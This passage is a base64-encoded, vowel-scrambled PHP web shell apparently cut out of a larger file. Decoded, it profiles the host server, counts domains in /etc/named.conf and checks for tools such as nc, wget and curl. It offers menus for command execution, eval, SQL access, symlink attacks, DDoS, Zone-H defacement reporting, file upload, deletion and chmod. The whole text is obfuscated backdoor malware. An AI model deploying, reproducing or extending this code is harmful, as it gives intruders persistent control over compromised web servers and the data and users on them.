5VCt3ckwrdWZ6cWZyY3luVVpsMXpwc1ZuR0hqR0FUeFhaUXJPMnRUU25QbUk3T3hqMU5Ya1VuSXpUcVZXdEVaVjE3NDdJdGZZYmIvbmwrcHJQYXN6RGV6TUJwOXNUZ1JjL1Uwbldta05ZNFRMeWVGWjdSM1VpN3VOWXZGVE5sVmtML1lWbGo3cmZuVS9XaWo5cXpBNk8wUzZ2QkMyd09QMjE5Q2xQbmhjYWhMbVZ5cExzRGtLM0JtdFN4bVIvZDJBVlFHWUFMeTFBTEtheUhybk5BRHpaSVI4cE8xQUtVNEdOeXJkUlFCcmVSL3g3dC92Vnk2LzRPSEY3MnY2Z2NRR2t4cmNhSS84QVZyOUt1cGJuWkhZZFVqTVh4Ti94aXgvNzZkK0NvWnJTb0lyVC9qNjQvd0IwVnBQdW1jVmZ1YVM2R2k0U1cvOEFydS9yVVNhTGgzMTZjVE94YkJSMkxjaXZ4SVA5TGhONXJnL2dPNGxzWWtub2ErdGRocU0yQWx0LzlaK0ZBRjZLQUpsMkEyWC9BUHg4SGVDZ0RRMGovam9iZTZ5Ni80T0hGYjJ2NmdjUUhwU1l1N214SC9xNitncjRsM2RrZGg2U1VZdjRiL2owai9vcTdzRjhUTjFXaUYxLzg1c1grZUs2bjhUT0d2OEFHUzZCNFNXLyt2ait0VFB1U3VibXRYQ2RnVXdPZDhTWSswUTV0NXBnL2dadlNhTUtUL1dOOTE3VFVaU0FsdC85WitGQUY2S0FKbDJBMmVnZm8rUFlVQTFPbERGbURlazZ5VnY0T0RGYjIzNjRjWWRxVEhIY2FJLzlXdjByNGwzZHNkaDZJWjQrSnY4QWowai9BTmUzb0JmRXpTbDNSV3YvQUJleGY3MnJXZnhNdXEveGt0UVlrbHYvQUsrUGU2TS9oTGgzMTZjSmFCVEFpenhKL3dBZk1GNXBnL2dadlNhTU9UL1dIZTZhbTJ5a0JMYi9BT3MvQ2dDZXRBRXkwQVVML3dEdStQd0ZBR2pwTGdheFQzcGlybHJwbzNjT0tXcVo1ckF1dzdVbnNDb041TG1KU1BTM0s1aWFSYUg2SlI0K0p2OEFqMGpIZmRYZmdyb1pwU29JclQvajY0L29SV2xUdW1jVmZ1YVM2QjRTVy9FeUU5TTZFcjhwY1A0TjEzTmVIV0ZJYk9kOFNEL1NZVCtGNXJnNjczcHZTYU1LWC9XTjkxN0RVWlFCSkFmb2cyQXZMUUJNdEFGQy9PYmdqMEEyQVMwM1d0cE55amNDTUVWTTJLU3NST0Ntck10dHEwbjFJQ3N2WTJ4K3JSQmRXay80alUwNXc0TGV0RXN4K0lINFgxc1J4N21zb2hJc3BVRTMyLzhBdVNTVC9uNEtYNlNQY3JhU00vVU5SNTlQS3UrcHI1blRVRjIxUjRrT3RyZVdKRlh5ZHdBd09hMWNxMVpFZU1aMWsvOEExVC84K3gvT3MvWUwzWmZWMjRIVmNIQmdJUDYyOWdnV0dTTENlL2NBQUNESUhyV2Y2U0xMVkZEanI4aVVqN1BndXVOQ3drZDdqOWtqSnZMM1d1bEJjRUFISUJycGhCUlZrMXFLU0ErWElOYXh3U09nSEZXTVppU2ZvWC9LZ0JmTFFkRmY4cUFKUklSYWIvdm1nQlRjTXFuQVlmOEFBMUFLTHNYWXM1cDJBQnh6UUEzOXZXZ0JRekVnWjJBM0k0Z0FFWlB2UUJLczFIK0FVQVF6YWVDUk1jWkkvblFCRmN5TmlyQUhBQndCUUJCaWpmb2pRQWlXZG1Bb0htZ0N1NGoyUm1nQ1ZVUTlWMkFqblFDSXFSbjFRVko5RGEyQXFTeU52SXowOUtBSS9NYis4MUFIeGxuY0RjMUFMMTJ2cFFCS0kwUEJVYzBBWjl6SGlVekxhN1VBUjlxQUUyQWRIOTlmclFCZldnQ1oxQUdYSCtzNCsyL25RQlEzZjk1LzZOQUVWQUR1ZjlZdjYyQXZMUUJNbEFETG43ai9BUEFmaTBBWnNuK3NQNjJBYlFCTGIvZXo4S0FMcTBBU3JRQlI2RC9qdXo3Q2dDMzFBRTJBY25vNit0QUY5NXRBRXkwQU0zUHZ4ZlVmejJBMlhQOEFybytwMkE0MkFmRC9BSzYxQUx5MEFUTFFBeXUrdS84QXdIK2RBR2JKOTl2clFBYWdDV0QvQUZudVVBWFYyQW1XZ0NqcUgrdi9BQTJBckdnQktBSEo5OWZyUUJmV2dDWjFBR1hIb3V2cVBpMEFVTG4vQUY3L0FGTkFFVkFEdWY4QVdyUUJmV2dDVjFBR1hIb0gvd0NBL3dBZUFNYVQ3N2ZXZ0J0QUVzSCtzL0NnQ2V0QUV5MEFVZFFQNy9Ic0tBS28xZ0JLQUZVdVlHZ0Mrbkl5T2xBRWU0Z0NLaWRWZE1rZktSbjhlQUtWeGhwV1lkQ2NpMkE0MkFmR2RycTFBTGU1NkFFcWQxQUk3Z2p5b091RGxSNmUwQVo4MnhJZnJRQXlnQ1NFaFpBVDAyQXZMUUJLT0JrOFVBWjZhdWtuWXIwZVVBUTBBRzFBRkJJMkFjSlhIUnNVQUxpOHY5ODBBTVo0eHl4elFBcTNWZVVBTzgwL29WL0tnQTgwL3dCNmZ5MkFVWERqcGdVQUw5cGs5MUFJb2MzY21nQndtWUFBZ0hIcUtBRHpUL2RYOHFBRHpUL2RYOHFBRiswUGF3S0FHdEs3REJZdTJBWlFCLy9aIiAvPjwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+UEhQOjwvc3Axbj48L3RkPg0KICAgIDx0ZD4nLkBwaHB2NXJzNDJuKCkuICcgICA8c3Axbj4gICBTMWY1IE0yZDU6Jy4kczFmNV9tMmQ1cy4nPC9zcDFuPjwvdGQ+DQogICAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZD48c3Axbj5PM3IgSVA6PC9zcDFuPjwvdGQ+DQogICAgPHRkPicuQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdLicgICAgPHNwMW4+UzVydjVyIElQOjwvc3Axbj4gJy5AJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uJzwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+V0VCUzo8L3NwMW4+PC90ZD4NCiAgICA8dGQgdzRkdGg9IjdlJSI+JzsNCiAgICANCiAgICA0ZigkR0xPQkFMU1snc3lzJ109PSczbjR4JykNCiAgICB7DQogICAgICAgICRkMG0xNG5zID0gQGY0bDUoIi81dGMvbjFtNWQuYzJuZiIpOw0KICAgICAgICA0ZighJGQwbTE0bnMpDQogICAgICAgIHsNCiAgICAgICAgICAgIDVjaDIgIkNBTlQgUkVBRCBuMW01ZC5jMm5mIjsNCiAgICAgICAgfQ0KICAgICAgICA1bHM1DQogICAgICAgIHsNCiAgICAgICAgICAkYzIzbnQ7ICANCiAgICAgICAgIGYycjUxY2goJGQwbTE0bnMgMXMgJGQwbTE0bikNCiAgICAgICAgIHsNCiAgICAgICAgICA0ZihANXI1ZygiejJuNSIsJGQwbTE0bikpDQogICAgICAgICAgew0KICAgICAgICAgIHByNWdfbTF0Y2hfMWxsKCcjejJuNSAiKC4qKSIjJywgJGQwbTE0biwgJGQybTE0bnMpOw0KICAgICAgICAgICBmbDNzaCgpOw0KICAgICAgICAgIDRmKHN0cmw1bih0cjRtKCRkMm0xNG5zWzZdWzBdKSkgPiBhKXsNCiAgICAgICAgIGZsM3NoKCk7DQogICAgICAgICAkYzIzbnQrKzsNCiAgICAgICAgICAgfSANCiAgICAgICAgICAgfQ0KICAgICAgICAgICB9DQogICAgICAgICAgIDVjaDIgIiRjMjNudCAgRDJtMTRucyI7DQogICAgICAgIH0NCiAgICB9DQogICAgNWxzNXsgNWNoMiJDQU5UIFJFQUQgfFc0bmQyd3N8Ijt9DQogICAgDQogICAgICA1Y2gyICc8L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIj48c3Axbj5IREQ6PC9zcDFuPjwvdGQ+DQogICAgPHRkPicubTFkUzR6NSgkdDJ0MWxTcDFjNSkuJyA8c3Axbj5GcjU1Ojwvc3Axbj4nIC4gbTFkUzR6NSgkZnI1NVNwMWM1KSAuICcgWycuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJV08L3RkPg0KICAgIDwvdHI+JzsNCiAgDQogICAgIDRmKCRHTE9CQUxTWydzeXMnXT09JzNuNHgnICkNCnsNCiAgICA0ZighQDRuNF9nNXQoJ3MxZjVfbTJkNScpKQ0KICAgIHsNCiAgICANCiAgICA1Y2gyICc8dHI+PHRkIGg1NGdodD0iNjgiIGMybHNwMW49ImEiPjxzcDFuPlVzNWYzbCA6IDwvc3Axbj4nOw0KICAgICQzczVyZjNsID0gMXJyMXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtMWs1JywncGhwJywncDVybCcsJ3B5dGgybicsJ3IzYnknLCd0MXInLCdnejRwJywnYno0cCcsJ2J6NHBhJywnbmMnLCdsMmMxdDUnLCdzMzRkcDVybCcpOw0KICAgICBmMnI1MWNoKCQzczVyZjNsIDFzICQ0dDVtKQ0KICAgICAgICAgNGYobTFkV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgNWNoMiAkNHQ1bS4nLCc7DQogICAgICAgICA1Y2gyICc8L3RkPg0KICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+DQogICAgICAgICAgPHRkIGg1NGdodD0iMCIgYzJsc3Axbj0iYSI+PHNwMW4+RDJ3bmwyMWQ1cjo8L3NwMW4+JzsNCiAgICAgICAgIA0KICAgICAkZDJ3bmwyMWQ1cnMgPSAxcnIxeSgnd2c1dCcsJ2Y1dGNoJywnbHlueCcsJ2w0bmtzJywnYzNybCcsJ2c1dCcsJ2x3cC1tNHJyMnInKTsNCiAgICAgIGYycjUxY2goJGQyd25sMjFkNXJzIDFzICQ0dDVtYSkNCiAgICAgICA0ZihtMWRXaDRjaCgkNHQ1bWEpKQ0KICAgICAgICA1Y2gyICQ0dDVtYS4nLCc7DQogICAgICAgIDVjaDIgJzwvdGQ+DQogICAgICAgICAgICAgIDwvdHI+JzsNCiAgICAgICAgIA0KICAgICAgICAgIH0NCiAgICAgICAgICAgNWxzNSANCiAgICAgICAgICAgew0KICAgICAgICAgNWNoMiAnPHRyPjx0ZCBoNTRnaHQ9IjY4IiBjMmxzcDFuPSJhIj48c3Axbj4zczVmM2w6PC9zcDFuPic7IA0KICAgICAgICAgNWNoMiAnLS0tLS0tLS0tLS0tLS08L3RkPg0KICAgICAgICAgICA8L3RyPjx0ZCBoNTRnaHQ9IjAiIGMybHNwMW49ImEiPjxzcDFuPkQyd25sMjFkNXI6IDwvc3Axbj4tLS0tLS0tLS0tLS0tPC90ZD4NCiAgICAgICAgICAgICAgPC90cj4nOyAgDQogICAgICAgICB9DQp9DQo1bHM1DQp7DQogICA1Y2gyICc8dHI+PHRkIGg1NGdodD0iNjgiIGMybHNwMW49ImEiPjxzcDFuPlc0bmQydzo8L3NwMW4+JzsNCiAgIDVjaDIgbTFkRXgoJ3Y1cicpOw0KICAgNWNoMiAnPC90ZD4NCiAgICAgICAgIDwvdHI+IDx0cj4NCiAgICAgICAgPHRkIGg1NGdodD0iMCIgYzJsc3Axbj0iYSI+PHNwMW4+RDJ3bmwyMWQ1cjogPC9zcDFuPi0tLS0tLS0tLS0tLS08L3RkPg0KICAgICAgICAgICAgICA8L3RyPic7IA0KICAgIA0KfSAgDQogICAgDQogDQogNWNoMiAnPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIiBjMmxzcDFuPSJhIj48c3Axbj5ENHMxYmw1ZCBmM25jdDQybnM6PC9zcDFuPicuJGQ0c2Yzbi4nPC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIiBjMmxzcDFuPSJhIj48c3Axbj5jVVJMOicuJGMzcmwuJyAgTXlTUUw6Jy4kbXlzcWwuJyAgTVNTUUw6Jy4kbXNzcWwuJyAgUDJzdGdyNVNRTDonLiRwZy4nICBPcjFjbDU6IDwvc3Axbj4nLiQyci4nPC90ZD48dGQgdzRkdGg9IjZpJSI+Jy5iMXM1ZXVfZDVjMmQ1KCJQR0VnMUhKbFpqMDQxSFIwY0QydkxvZG9keWl0WVdSemNHOTBMbWlsZENJZ2RHRnlaYVYwUFNKZllteGhibXM0UGp4emNHRjNQanhtYmFpMElHTnZiRzl5UFNJak1FWXdJanVtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHROUVVSVFVFOVVMa2lGVkR3dlptOTNkRHU4TG9Od1lXdStQQzloUGc9PSIpLic8L3RkPg0KICA8L3RyPg0KICA8dHI+DQogIDx0ZCBoNTRnaHQ9IjY2IiBjMmxzcDFuPSJvIj48c3Axbj5PcDVuX2IxczVkNHI6Jy4kMnA1bl9iLicgUzFmNV9tMmQ1XzV4NWNfZDRyOicuJHMxZjVfNXg1LicgICBTMWY1X20yZDVfNG5jbDNkNV9kNHI6Jy4kczFmNV80bmNsM2Q1Lic8L3RkPg0KICA8L3RyPg0KICA8dHI+DQogICAgPHRkIGg1NGdodD0iNjYiPjxzcDFuPlM1cnY1ciA8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy5AZzV0NW52KCdTRVJWRVJfU09GVFdBUkUnKS4nPC90ZD4NCiAgPC90cj4nOw0KICA0ZigkR0xPQkFMU1tzeXNdPT0idzRuIikNCiAgew0KICAgIDVjaDIgJzx0cj4NCiAgICA8dGQgaDU0Z2h0PSI2YSI+PHNwMW4+RFJJVkU6PC9zcDFuPjwvdGQ+DQogICAgPHRkIGMybHNwMW49ImEiPicuJGRyNHY1cy4nPC90ZD4NCiAgICAgPC90cj4nOw0KICB9DQogIA0KICA1Y2gyICc8dHI+DQogICAgPHRkIGg1NGdodD0iNmEiPjxzcDFuPlBXRDo8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy4kY3dkX2w0bmtzLicgIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycgLiAkR0xPQkFMU1snaDJtNV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPjxmMm50IGMybDJyPXI1ZCA+fENVUlJFTlR8PC9mMm50PjwvMT48L3RkPg0KICA8L3RyPg0KICA8L3QxYmw1Pg0KPC9kNHY+DQogPGQ0diA0ZD0ibTUzbmw0c3QiPg0KICAgICAgPDNsPg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5IT01FPC8xPjwvbDQ+DQoNCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwncHIyY1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5QUk9DRVNTPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3BocDV2MWxcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+RVZBTDwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdzcWxcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U1FMPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ2gxc2hcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+SEFTSDwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdjMm5uNWN0XCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPkNPTk5FQ1Q8LzE+PC9sND4NCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnejJuNWhcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+Wk9ORS1IPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ2Qyc1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5ERE9TPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3MxZjVcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U0FGRSBNT0RFPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3N5bWw0bmtcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U1lNTElOSzwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdzcDJ0XCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPk1BRFNQT1Q8LzE+PC9sND4NCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnczVsZnJtXCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPktJbGwgQzBkNTwvMT48L2w0Pg0KPC8zbD4NCiAgICANCiAgICA8L2Q0dj4NCic7ICAgDQogICAgDQp9DQoNCmYzbmN0NDJuIG0xZGYyMnQ1cigpDQp7DQogICAgDQogICAgNWNoMiAiPHQxYmw1IGNsMXNzPSdmMjJ0JyB3NGR0aD0nNjAwJScgYjJyZDVyPScwJyBjNWxsc3AxYzRuZz0nbycgYzVsbHAxZGQ0bmc9JzAnID4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgdzRkdGg9JzY3JSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSwnbWtmNGw1Jyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fTUsgRklMRV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2Q0cicgIHR5cDU9dDV4dCBuMW01PWYgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgICA8dGQgdzRkdGg9J2E2JSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fTUsgRElSX188L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0nZDRyJyB0eXA1PXQ1eHQgbjFtNT1kIHYxbDM1PScnPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICAgPHRkIHc0ZHRoPSdhYSUnPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNNMW4nLG4zbGwsJ2Q1bDV0NScsdGg0cy5kNWwudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5fX0RFTEVURV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2Q0cicgdHlwNT10NXh0IG4xbTU9ZDVsIHYxbDM1PScnPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICAgPHRkIHc0ZHRoPSc2OSUnPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUsJ2NobTJkJyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fQ0hNT0RfXzwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSdkNHInIHR5cDU9dDV4dCBuMW01PWYgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0nYSc+PGYycm0gMm5zM2JtNHQ9J2cobjNsbCx0aDRzLmMudjFsMzUsXCJcIik7cjV0M3JuIGYxbHM1Oyc+PHNwMW4+X19DSEFOR0UgRElSX188L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0nZjIydHQxYmw1JyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PSciLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4iJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgIDx0ZCBjMmxzcDFuPSdhJz48ZjJybSBtNXRoMmQ9J3Ayc3QnID48c3Axbj5fX0hUVFAgRE9XTkxPQURfXzwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSdmMjJ0dDFibDUnIHR5cDU9dDV4dCBuMW01PXJ0ZDJ3biB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0ndSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdwcjJjJyxuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fRVhFQ1VURV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2YyMnR0MWJsNScgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0ndSc+PGYycm0gbTV0aDJkPSdwMnN0JyBFTkNUWVBFPSdtM2x0NHAxcnQvZjJybS1kMXQxJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9JzNwbDIxZEY0bDUnPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciIC4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiAiJz4NCiAgICAgICAgPHNwMW4+VXBsMjFkIGY0bDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PWY0bDUgbjFtNT1mPjxiciAvPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICA8L3RyPiANCiAgICAgIDwvdDFibDU+DQogIDwvZDR2Pg0KICA8L2IyZHk+DQo8L2h0bWw+DQoiOw0KICAgIA0KfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dHB3MzRkIikgJiYgKHN0cnAycyhANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKSwgJ3AyczR4X2c1dHB3MzRkJyk9PT1mMWxzNSkpIHsNCiAgIGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycyhANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkpIHsNCiAgZjNuY3Q0Mm4gcDJzNHhfZzV0Z3JnNGQoJHApIHtyNXQzcm4gZjFsczU7fSB9DQoNCmYzbmN0NDJuIG0xZFdoNGNoKCRwKSB7DQoJJHAxdGggPSBtMWRFeCgnd2g0Y2ggJyAuICRwKTsNCgk0ZighNW1wdHkoJHAxdGgpKQ0KCQlyNXQzcm4gJHAxdGg7DQoJcjV0M3JuIGYxbHM1Ow0KfQ0KDQoNCg0KZjNuY3Q0Mm4gbTFkUzR6NSgkcykgew0KCTRmKCRzID49IDYwN283dTY4YXUpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjA3bzd1NjhhdSApLiAnIEdCJzsNCgk1bHM1NGYoJHMgPj0gNjB1OGk3ZSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MHU4aTdlICkgLiAnIE1CJzsNCgk1bHM1NGYoJHMgPj0gNjBhdSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsNCgk1bHM1DQoJCXI1dDNybiAkcyAuICcgQic7DQp9DQoNCg0KZjNuY3Q0Mm4gbTFkUDVybXMoJHApIHsNCgk0ZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJDQgPSAncyc7DQoJNWxzNTRmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkNCA9ICdsJzsNCgk1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOw0KCTVsczU0ZiAoKCRwICYgMHhlMDAwKSA9PSAweGUwMDApJDQgPSAnYic7DQoJNWxzNTRmICgoJHAgJiAweHUwMDApID09IDB4dTAwMCkkNCA9ICdkJzsNCgk1bHM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOw0KCTVsczU0ZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJDQgPSAncCc7DQoJNWxzNSAkNCA9ICczJzsNCgkkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwdTApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwNjApID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDB1MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwdTAwKSA/ICdTJyA6ICctJykpOw0KCSQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDBhKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwNikgPyAoKCRwICYgMHgwYTAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MGEwMCkgPyAnVCcgOiAnLScpKTsNCglyNXQzcm4gJDQ7DQp9DQpmM25jdDQybiBtMWRQNXJtc0MybDJyKCRmKSB7DQoJNGYgKCFANHNfcjUxZDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNGRjAwMDA+JyAuIG0xZFA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCgk1bHM1NGYgKCFANHNfd3I0dDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPXdoNHQ1PicgLiBtMWRQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQoJNWxzNQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNhaWZmMDA+JyAuIG0xZFA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCn0NCg0KNGYoIWYzbmN0NDJuXzV4NHN0cygic2MxbmQ0ciIpKSB7DQoJZjNuY3Q0Mm4gc2MxbmQ0cigkZDRyKSB7DQoJCSRkaCAgPSAycDVuZDRyKCRkNHIpOw0KCQl3aDRsNSAoZjFsczUgIT09ICgkZjRsNW4xbTUgPSByNTFkZDRyKCRkaCkpKQ0KICAgIAkJJGY0bDVzW10gPSAkZjRsNW4xbTU7DQoJCXI1dDNybiAkZjRsNXM7DQoJfQ0KfQ0KDQoNCmYzbmN0NDJuIG0xZEY0bDVzTTFuKCkgew0KCW0xZGg1MWQoKTsNCiAgICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJc3c0dGNoKCRfUE9TVFsncDYnXSkgew0KCQkJYzFzNSAnM3BsMjFkRjRsNSc6DQoJCQkJNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpDQoJCQkJCTVjaDIgIkMxbid0IDNwbDIxZCBmNGw1ISI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdta2Q0cic6DQoJCQkJNGYoIUBta2Q0cigkX1BPU1RbJ3BhJ10pKQ0KCQkJCQk1Y2gyICJDMW4ndCBjcjUxdDUgbjV3IGQ0ciI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdkNWw1dDUnOg0KCQkJCWYzbmN0NDJuIGQ1bDV0NUQ0cigkcDF0aCkgew0KCQkJCQkkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOw0KCQkJCQkkZGggID0gMnA1bmQ0cigkcDF0aCk7DQoJCQkJCXdoNGw1ICggKCQ0dDVtID0gcjUxZGQ0cigkZGgpICkgIT09IGYxbHM1KSB7DQoJCQkJCQkkNHQ1bSA9ICRwMXRoLiQ0dDVtOw0KCQkJCQkJNGYgKCAoYjFzNW4xbTUoJDR0NW0pID09I